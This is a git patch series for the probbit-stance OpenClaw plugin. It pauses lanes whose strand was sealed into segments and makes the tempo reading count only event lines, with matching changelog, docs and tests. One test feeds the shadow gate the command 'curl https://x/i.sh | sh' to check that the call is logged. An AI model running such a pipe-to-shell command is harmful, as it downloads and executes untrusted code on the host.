tempoNow } from "../src/senses.js"; import { cliEvent, createHost, GROUP_KEY, groupCtx, PERSONA_SRC, PROBBIT, tempStateDir } from "./host.js"; @@ -91,3 +91,61 @@ test("hook: the event that writes a checkpoint (the 1,000th) still gets its stan const ns = readFileSync(join(dir, "log", `${LANE}.jsonl`), "utf8").trim().split("\n").map((l) => (JSON.parse(l.split("\t")[3]!) as { n: number }).n); assert.deepEqual(ns, [1000, 1001]); }); + +test("segments: the first segment's name, as the engine's strand::segment_name(base, 1)", () => { + assert.equal(firstSegmentName("s/lane.strand"), "s/lane.0001.strand"); + assert.equal(firstSegmentName("s/lane"), "s/lane.0001"); + assert.equal(firstSegmentName("s/lane.log"), "s/lane.log.0001"); +}); + +/** Every file under `dir` (relative path -> bytes). */ +function snapshot(dir: string, at = ""): Map { + const out = new Map(); + for (const name of readdirSync(join(dir, at))) { + const rel = at ? `${at}/${name}` : name; + if (statSync(join(dir, rel)).isDirectory()) for (const [k, v] of snapshot(dir, rel)) out.set(k, v); + else out.set(rel, readFileSync(join(dir, rel), "latin1")); + } + return out; +} + +function changed(a: Map, b: Map): string[] { + return [...new Set([...a.keys(), ...b.keys()])].filter((k) => a.get(k) !== b.get(k)).sort(); +} + +test("hook: a sealed lane is paused: no engine call, no stance, nothing written, one warning", async () => { + const dir = tempStateDir(); + for (const d of ["state", "strands", "last", "log"]) mkdirSync(join(dir, d), { recursive: true }); + const state = join(dir, "state", `${LANE}.json`); + const strand = join(dir, "strands", `${LANE}.strand`); + const events = join(dir, "events.jsonl"); + writeFileSync(events, '{"elapsed_hours":0.05}\n'.repeat(2)); + execFileSync(PROBBIT, ["persona", "init", PERSONA_SRC, "--seed", "42", "--out", state], { stdio: "ignore" }); + execFileSync(PROBBIT, ["live", PERSONA_SRC, "--state", state, "--strand", strand, "--clock", "fixed", "--events", events], { stdio: "ignore" }); + const host = createHost({ lanes: { [GROUP_KEY]: LANE }, stateDir: dir, binary: PROBBIT, sensesMode: "shadow" }); + registerStance(host.api); + const block = async (run: string) => + ((await host.promptBuild(cliEvent("thanks"), groupCtx(run))).result as { appendContext?: string } | undefined)?.appendContext; + + // A normal turn (event 3) writes these files; the paused turns below must write none of them. + const before = snapshot(dir); + assert.match((await block("s-0")) ?? "", /^## Assistant stance \(probbit, event 3\)/, JSON.stringify(host.logs)); + const normal = changed(before, snapshot(dir)); + for (const f of [`strands/${LANE}.strand`, `state/${LANE}.json`, `last/${LANE}.ts`, `log/${LANE}.jsonl`, `strands/${LANE}.senses.jsonl`]) { + assert.ok(normal.includes(f), `a normal turn writes ${f}: ${normal.join(", ")}`); + } + + execFileSync(PROBBIT, ["live", "control", strand, "seal"], { stdio: "ignore" }); + const segment = firstSegmentName(strand); + const sealed = snapshot(dir); + assert.ok(sealed.has(`strands/${LANE}.0001.strand`), `the engine wrote ${segment}: ${[...sealed.keys()].join(", ")}`); + + assert.equal(await block("s-1"), undefined); + assert.equal(await block("s-2"), undefined); + assert.deepEqual(changed(sealed, snapshot(dir)), [], "the paused turns wrote nothing"); + const warns = host.logs.filter((l) => l.level === "warn" && l.message.includes("no stance this turn")); + assert.deepEqual(warns.map((l) => l.message), [ + `[probbit-stance] lane ${LANE}: no stance this turn (the strand was sealed into segments (${LANE}.0001.strand exists); this plugin version does not follow segments, so the lane is paused; warned once per lane)`, + ]); + execFileSync(PROBBIT, ["live", "verify", segment], { stdio: "ignore" }); +}); From 9d2b79bfb0f2cd4ef2dc7205fc4651e3638ba2b9 Mon Sep 17 00:00:00 2001 From: BitmapAsset Date: Thu, 12 Nov 2026 23:15:44 -0800 Subject: [PATCH 5/6] fix(openclaw): no stance for a turn during which the strand was sealed --- CHANGELOG.md | 7 ++-- docs/adapters.md | 2 +- plugins/openclaw/README.md | 7 ++-- plugins/openclaw/src/probbit.ts | 12 +++++++ plugins/openclaw/test/strand.test.ts | 54 +++++++++++++++++++++++----- 5 files changed, 69 insertions(+), 13 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index dbd1b23..457170b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -45,8 +45,11 @@ All notable changes to this project are documented here. The format follows - OpenClaw plugin on a sealed lane (after `probbit live control STRAND seal`, which continues the strand in `NAME.0001.strand`): the plugin kept reading the first file. Before the checkpoint fix above every later turn got no stance (`strand unreadable after the event`); with it alone every later turn would have shown the sealing line's - event number. Such a lane is now paused: the engine is not called, nothing is written, no stance is injected, and the - plugin logs once per lane that the strand was sealed into segments and that this version does not follow them. + event number. Such a lane is now paused: for a new message the plugin does not call the engine, so no event is + written, and injects no stance; it logs once per lane that the strand was sealed into segments and that this version + does not follow them. A turn that is already running when the seal lands gets no stance either (its event is in the + engine's record). A retried message that was answered before the seal gets the stance of its own event again. The + shadow gate is not affected and keeps logging. ## 0.14.1 - Unreleased diff --git a/docs/adapters.md b/docs/adapters.md index b92634f..e00896b 100644 --- a/docs/adapters.md +++ b/docs/adapters.md @@ -30,7 +30,7 @@ the receipt per decision and the bounded state the same mechanism drives. | any Node loop | [examples/node/stance-host.mjs](../examples/node/stance-host.mjs) | `await host.turn(toolTexts)`; `verify()` | `node --test examples/node/stance-host.test.mjs` against the release binary | | Vercel AI SDK | [examples/hosts/vercel-ai/stance.mjs](../examples/hosts/vercel-ai/stance.mjs) | `prepareStep` rebuilds the step's system message from `host.turn`; `onToolExecutionEnd` collects results | not run here (needs the `ai` package, a provider and a key) | | MCP hosts (Claude Code, Codex CLI, Cursor, mcporter) | `probbit mcp` | tools `probbit_live_event`, `probbit_live_verify`, `probbit_persona_turn`, ... ([agents.md](agents.md)) | real calls from Claude Code and Codex CLI (agents.md) | -| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 163 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | +| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 164 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | "Not run here" means exactly that: the file is written to the framework's documented contract and compiles, but this repository's tests do not exercise it. Please open an issue (or a reproduction report) with what you saw. diff --git a/plugins/openclaw/README.md b/plugins/openclaw/README.md index 51e8c5d..9780655 100644 --- a/plugins/openclaw/README.md +++ b/plugins/openclaw/README.md @@ -255,8 +255,11 @@ left as is with one warning per lane. - `strands/.senses.jsonl` (`sensesMode` shadow or feed; since 0.2.0): one line per event with the readings the plugin measured, the source of each and what it fed. -A lane whose strand was sealed into segments with `probbit live control STRAND seal` is paused: the plugin injects no -stance and logs why (once per lane). Following segments is not implemented in this version. +A lane whose strand was sealed into segments with `probbit live control STRAND seal` is paused: for a new message the +plugin does not call the engine and injects no stance, and it logs why once per lane; a turn already running when the +seal lands gets no stance either (its event is in the engine's record). A retried message that was answered before the +seal gets its own event's stance again, and the shadow gate keeps logging. Following segments is not implemented in +this version. ## Safety properties diff --git a/plugins/openclaw/src/probbit.ts b/plugins/openclaw/src/probbit.ts index cb1c16c..75baa79 100644 --- a/plugins/openclaw/src/probbit.ts +++ b/plugins/openclaw/src/probbit.ts @@ -311,6 +311,18 @@ export async function runLiveEvent(opts: { const detail = doc?.error !== undefined ? JSON.stringify(doc.error).slice(0, 200) : res.stderr.slice(0, 200); return { ok: false, reason: `probbit live exit ${res.code ?? res.signal}: ${detail}`.trim(), ms }; } + // A seal can land between the check above and the engine taking its writer lock. The engine appends to a segment + // only if it existed when the lock was taken, and never removes one, so a segment present now covers every case in + // which the base file's last line is not this turn's event. (If the seal came after this event, a right stance is + // dropped; the engine's record is right either way.) + if (existsSync(segment)) { + return { + ok: false, + sealed: true, + reason: `the strand was sealed into segments while this turn was running (${basename(segment)} exists; the event is in the engine's record); this plugin version does not follow segments, so the lane is paused`, + ms, + }; + } const n = lastStrandEventNumber(paths.strand); if (n === undefined) return { ok: false, reason: "strand unreadable after the event", ms }; return { ok: true, doc, n, eventLine: opts.eventLine, outLine: outLine.trim(), ms, labeled: extra.length > 0 }; diff --git a/plugins/openclaw/test/strand.test.ts b/plugins/openclaw/test/strand.test.ts index 568a7f2..b54d4a0 100644 --- a/plugins/openclaw/test/strand.test.ts +++ b/plugins/openclaw/test/strand.test.ts @@ -4,9 +4,9 @@ import { mkdirSync, readdirSync, readFileSync, statSync, writeFileSync } from "n import { join } from "node:path"; import { test } from "node:test"; import { registerStance } from "../src/index.js"; -import { firstSegmentName, lastStrandEventNumber } from "../src/probbit.js"; +import { ensureLaneDirs, firstSegmentName, lanePaths, lastStrandEventNumber, runLiveEvent } from "../src/probbit.js"; import { tempoNow } from "../src/senses.js"; -import { cliEvent, createHost, GROUP_KEY, groupCtx, PERSONA_SRC, PROBBIT, tempStateDir } from "./host.js"; +import { cliEvent, createHost, embeddedEvent, GROUP_KEY, groupCtx, PERSONA_SRC, PROBBIT, tempStateDir, toolCtx } from "./host.js"; const LANE = "team-room"; const HEADER = '{"probbit_strand":1,"persona":{"name":"Assistant","version":"1.0.0"},"state":{"seed":42}}'; @@ -113,7 +113,7 @@ function changed(a: Map, b: Map): string[] { return [...new Set([...a.keys(), ...b.keys()])].filter((k) => a.get(k) !== b.get(k)).sort(); } -test("hook: a sealed lane is paused: no engine call, no stance, nothing written, one warning", async () => { +test("hook: a sealed lane is paused: no engine call, no stance, one warning; a retry gets its own stance; the gate still logs", async () => { const dir = tempStateDir(); for (const d of ["state", "strands", "last", "log"]) mkdirSync(join(dir, d), { recursive: true }); const state = join(dir, "state", `${LANE}.json`); @@ -124,12 +124,14 @@ test("hook: a sealed lane is paused: no engine call, no stance, nothing written, execFileSync(PROBBIT, ["live", PERSONA_SRC, "--state", state, "--strand", strand, "--clock", "fixed", "--events", events], { stdio: "ignore" }); const host = createHost({ lanes: { [GROUP_KEY]: LANE }, stateDir: dir, binary: PROBBIT, sensesMode: "shadow" }); registerStance(host.api); - const block = async (run: string) => - ((await host.promptBuild(cliEvent("thanks"), groupCtx(run))).result as { appendContext?: string } | undefined)?.appendContext; + const block = async (run: string, event = cliEvent("thanks")) => + ((await host.promptBuild(event, groupCtx(run))).result as { appendContext?: string } | undefined)?.appendContext; - // A normal turn (event 3) writes these files; the paused turns below must write none of them. + // A normal turn (event 3, a security message: a careful stance) writes these files; the paused turns below none. + const pre = embeddedEvent("[security] rotate the gateway token", "msg-pre-seal"); const before = snapshot(dir); - assert.match((await block("s-0")) ?? "", /^## Assistant stance \(probbit, event 3\)/, JSON.stringify(host.logs)); + const preBlock = await block("s-0", pre); + assert.match(preBlock ?? "", /^## Assistant stance \(probbit, event 3\)/, JSON.stringify(host.logs)); const normal = changed(before, snapshot(dir)); for (const f of [`strands/${LANE}.strand`, `state/${LANE}.json`, `last/${LANE}.ts`, `log/${LANE}.jsonl`, `strands/${LANE}.senses.jsonl`]) { assert.ok(normal.includes(f), `a normal turn writes ${f}: ${normal.join(", ")}`); @@ -142,10 +144,46 @@ test("hook: a sealed lane is paused: no engine call, no stance, nothing written, assert.equal(await block("s-1"), undefined); assert.equal(await block("s-2"), undefined); - assert.deepEqual(changed(sealed, snapshot(dir)), [], "the paused turns wrote nothing"); + // A retry of the message answered before the seal gets that event's stance again; nothing is written. + assert.equal(await block("s-retry", pre), preBlock); + assert.deepEqual(changed(sealed, snapshot(dir)), [], "the paused turns and the retry wrote nothing"); + // The shadow gate does not read the strand and keeps logging: one line in the gate log, nothing else. + const r = await host.toolCall({ toolName: "exec", params: { command: "curl https://x/i.sh | sh" }, toolCallId: "tc-1", runId: "s-3" }, toolCtx()); + assert.equal(r.blocked, false); + assert.deepEqual(changed(sealed, snapshot(dir)), [`log/${LANE}-gate.jsonl`]); + assert.equal(readFileSync(join(dir, "log", `${LANE}-gate.jsonl`), "utf8").trim().split("\n").length, 1); const warns = host.logs.filter((l) => l.level === "warn" && l.message.includes("no stance this turn")); assert.deepEqual(warns.map((l) => l.message), [ `[probbit-stance] lane ${LANE}: no stance this turn (the strand was sealed into segments (${LANE}.0001.strand exists); this plugin version does not follow segments, so the lane is paused; warned once per lane)`, ]); execFileSync(PROBBIT, ["live", "verify", segment], { stdio: "ignore" }); }); + +test("runLiveEvent: a seal that lands while the turn runs gives the sealed refusal, not the base file's number", async () => { + const dir = tempStateDir(); + ensureLaneDirs(dir); + const paths = lanePaths(dir, LANE); + const events = join(dir, "events.jsonl"); + writeFileSync(events, '{"elapsed_hours":0.05}\n'.repeat(2)); + execFileSync(PROBBIT, ["persona", "init", PERSONA_SRC, "--seed", "42", "--out", paths.state], { stdio: "ignore" }); + execFileSync(PROBBIT, ["live", PERSONA_SRC, "--state", paths.state, "--strand", paths.strand, "--clock", "fixed", "--events", events], { stdio: "ignore" }); + // binaryCheck runs after the first segment check and before the engine call: seal there, deterministically. + const run = await runLiveEvent({ + binary: PROBBIT, + personaPath: PERSONA_SRC, + seed: 42, + paths, + eventLine: '{"elapsed_hours":0.05}', + killAfterMs: 10_000, + binaryCheck: async () => { + execFileSync(PROBBIT, ["live", "control", paths.strand, "seal"], { stdio: "ignore" }); + return undefined; + }, + }); + assert.equal(run.ok, false, JSON.stringify(run)); + assert.equal(!run.ok && run.sealed, true); + assert.match(!run.ok ? run.reason : "", /sealed into segments while this turn was running \(team-room\.0001\.strand exists; the event is in the engine's record\)/); + const seg = readFileSync(firstSegmentName(paths.strand), "utf8").trimEnd().split("\n"); + assert.equal((JSON.parse(seg[seg.length - 1]!) as { n?: number }).n, 3, "the engine wrote this turn's event into segment 1"); + assert.equal(lastStrandEventNumber(paths.strand), 2, "the base ends on the sealing checkpoint, the count before this event"); +}); From 672907503b0cb3aa978db65986853b65de052c0a Mon Sep 17 00:00:00 2001 From: BitmapAsset Date: Thu, 12 Nov 2026 23:29:38 -0800 Subject: [PATCH 6/6] fix(openclaw): tempo counts event lines only --- CHANGELOG.md | 11 ++++++++--- docs/adapters.md | 2 +- plugins/openclaw/README.md | 10 +++++++--- plugins/openclaw/src/senses.ts | 10 +++++++--- plugins/openclaw/test/strand.test.ts | 12 ++++++++++++ 5 files changed, 35 insertions(+), 10 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 457170b..5444c6d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -42,13 +42,18 @@ All notable changes to this project are documented here. The format follows only the current event (1), because the cut checkpoint hid every event before it from the plugin's read. The read now is repeated with a larger window (2, 8, then 16 MiB) until it holds more than an hour of gaps or the whole file; the largest window is 16 MiB. +- OpenClaw plugin, `sensesMode` shadow or feed (since plugin 0.2.0): the `tempo` reading counted every strand line with + an `n` as an event, so the consolidation line a rest pass writes added one to the count. Only event lines count now + (the lines the engine's `strand::kind` classes as events: not control, checkpoint, rest, reflection or consolidation). - OpenClaw plugin on a sealed lane (after `probbit live control STRAND seal`, which continues the strand in `NAME.0001.strand`): the plugin kept reading the first file. Before the checkpoint fix above every later turn got no - stance (`strand unreadable after the event`); with it alone every later turn would have shown the sealing line's + stance (`strand unreadable after the event`), or reported event 0 when the sealing line was longer than the plugin's + 64 KiB read; with it alone every later turn would have shown the sealing line's event number. Such a lane is now paused: for a new message the plugin does not call the engine, so no event is written, and injects no stance; it logs once per lane that the strand was sealed into segments and that this version - does not follow them. A turn that is already running when the seal lands gets no stance either (its event is in the - engine's record). A retried message that was answered before the seal gets the stance of its own event again. The + does not follow them. When the seal lands while a turn is running and the first segment exists by the time the engine + call returns, that turn gets no stance either (its event is in the engine's record); a seal that lands after that + leaves the turn its stance, with the right number. A retried message that was answered before the seal gets the stance of its own event again. The shadow gate is not affected and keeps logging. ## 0.14.1 - Unreleased diff --git a/docs/adapters.md b/docs/adapters.md index e00896b..2cd15d3 100644 --- a/docs/adapters.md +++ b/docs/adapters.md @@ -30,7 +30,7 @@ the receipt per decision and the bounded state the same mechanism drives. | any Node loop | [examples/node/stance-host.mjs](../examples/node/stance-host.mjs) | `await host.turn(toolTexts)`; `verify()` | `node --test examples/node/stance-host.test.mjs` against the release binary | | Vercel AI SDK | [examples/hosts/vercel-ai/stance.mjs](../examples/hosts/vercel-ai/stance.mjs) | `prepareStep` rebuilds the step's system message from `host.turn`; `onToolExecutionEnd` collects results | not run here (needs the `ai` package, a provider and a key) | | MCP hosts (Claude Code, Codex CLI, Cursor, mcporter) | `probbit mcp` | tools `probbit_live_event`, `probbit_live_verify`, `probbit_persona_turn`, ... ([agents.md](agents.md)) | real calls from Claude Code and Codex CLI (agents.md) | -| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 164 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | +| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 165 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | "Not run here" means exactly that: the file is written to the framework's documented contract and compiles, but this repository's tests do not exercise it. Please open an issue (or a reproduction report) with what you saw. diff --git a/plugins/openclaw/README.md b/plugins/openclaw/README.md index 9780655..003da16 100644 --- a/plugins/openclaw/README.md +++ b/plugins/openclaw/README.md @@ -85,7 +85,9 @@ tempo above the range's top as the top; the senses line keeps the measured count recomputes it: with u_k = round(1e6 × `elapsed_hours`) of event k (whole micro-hours; the strand stamps `elapsed_hours` to 1e-6 h, so the sums are exact), tempo at event n = #{m ≤ n : u_(m+1) + … + u_n ≤ 1 000 000}. A message exactly 60 minutes after the previous one still counts it; one micro-hour later does not. The plugin reads the strand's last -512 KiB (about 1000 events) for this. +512 KiB for this, then wider windows (2, 8, then 16 MiB) until the window holds more than an hour of gaps or the whole +file; a history inside the hour longer than 16 MiB is undercounted. Only event lines count: control, checkpoint, rest, +reflection and consolidation lines do not. **`tool_fail`: a tool call failed since the previous event.** The `after_tool_call` hook (registered only with `sensesMode` shadow or feed; observe-only, it never changes a result) counts tool calls in the lane and the ones that @@ -256,8 +258,10 @@ left as is with one warning per lane. readings the plugin measured, the source of each and what it fed. A lane whose strand was sealed into segments with `probbit live control STRAND seal` is paused: for a new message the -plugin does not call the engine and injects no stance, and it logs why once per lane; a turn already running when the -seal lands gets no stance either (its event is in the engine's record). A retried message that was answered before the +plugin does not call the engine and injects no stance, and it logs why once per lane. When the seal lands while a turn +is running and the first segment exists by the time the engine call returns, that turn gets no stance either (its event +is in the engine's record); a seal that lands after that leaves the turn its stance, with the right number. A retried +message that was answered before the seal gets its own event's stance again, and the shadow gate keeps logging. Following segments is not implemented in this version. diff --git a/plugins/openclaw/src/senses.ts b/plugins/openclaw/src/senses.ts index d665ca6..99303cb 100644 --- a/plugins/openclaw/src/senses.ts +++ b/plugins/openclaw/src/senses.ts @@ -111,7 +111,8 @@ export function tempoFromGaps(elapsedHours: number[]): number { } /** - * `inputs.elapsed_hours` of the strand's events, oldest first, from the file's last 512 KiB. A large checkpoint line + * `inputs.elapsed_hours` of the strand's event lines (not control, checkpoint, rest, reflection or consolidation lines), + * oldest first, from the file's last 512 KiB. A large checkpoint line * can take most of that window; then the tail is read again with a larger window (2, 8, then 16 MiB) until it holds * more than an hour of gaps or the whole file, so the events before the checkpoint still count. The largest window is * 16 MiB; with the re-reads a turn reads at most 0.5 + 2 + 8 + 16 = 26.5 MiB. @@ -134,13 +135,16 @@ function coversHour(gaps: number[]): boolean { return gaps.reduce((s, h) => s + microHours(h), 0) > WINDOW_MICRO_HOURS; } +/** Keys that make a strand line something other than an event, as the engine's `strand::kind` decides. */ +const NOT_EVENT_KEYS = ["control", "checkpoint", "rest", "reflection", "consolidation"] as const; + function gapsIn(tail: string): number[] { const gaps: number[] = []; for (const line of tail.split("\n")) { if (!line.startsWith('{"')) continue; try { - const obj = JSON.parse(line) as { n?: unknown; inputs?: { elapsed_hours?: unknown } }; - if (typeof obj.n !== "number") continue; + const obj = JSON.parse(line) as Record & { n?: unknown; inputs?: { elapsed_hours?: unknown } }; + if (typeof obj.n !== "number" || NOT_EVENT_KEYS.some((k) => k in obj)) continue; const h = obj.inputs?.elapsed_hours; gaps.push(typeof h === "number" ? h : 0); } catch { diff --git a/plugins/openclaw/test/strand.test.ts b/plugins/openclaw/test/strand.test.ts index b54d4a0..23b614f 100644 --- a/plugins/openclaw/test/strand.test.ts +++ b/plugins/openclaw/test/strand.test.ts @@ -58,6 +58,18 @@ test("tempo: no event-count cutoff; 3,000 events inside the hour all count", () assert.equal(tempoNow(strandFile(text), 0), 3001); }); +test("tempo: only event lines count; a consolidation line (it has an n) and the other line kinds do not", () => { + const d = (c: string) => `sha256:${c.repeat(64)}`; + const ev = (n: number) => `{"inputs":{"elapsed_hours":0.05},"n":${n},"prev":"${d("a")}","stance":"${d("b")}","state":"${d("c")}"}`; + // the consolidation line as the engine writes it (probbit-persona/src/rest.rs: at, consolidation, n, prev, state) + const consolidation = `{"at":"2026-11-12T00:00:00Z","consolidation":{"moved":[]},"n":3,"prev":"${d("a")}","state":"${d("c")}"}`; + // the other non-event kinds, each with an n as well, so the key decides (strand::kind), not the missing n + const others = ["control", "rest", "reflection"].map((k) => `{"${k}":{},"n":3,"prev":"${d("a")}"}`); + const lines = [HEADER, ev(1), ev(2), ev(3), consolidation, ...others, checkpoint(3), ev(4), ev(5)]; + // five events 3 minutes apart, then this one: 6 + assert.equal(tempoNow(strandFile(`${lines.join("\n")}\n`), 0.05), 6); +}); + test("strand tail: a torn last line, an empty file or no file -> undefined", () => { assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${event(1)}\n{"inputs":{"elapsed_hours":0.5},"n":2,"pr`)), undefined); assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${checkpoint(3, 100 * 1024).slice(0, 90 * 1024)}`)), undefined);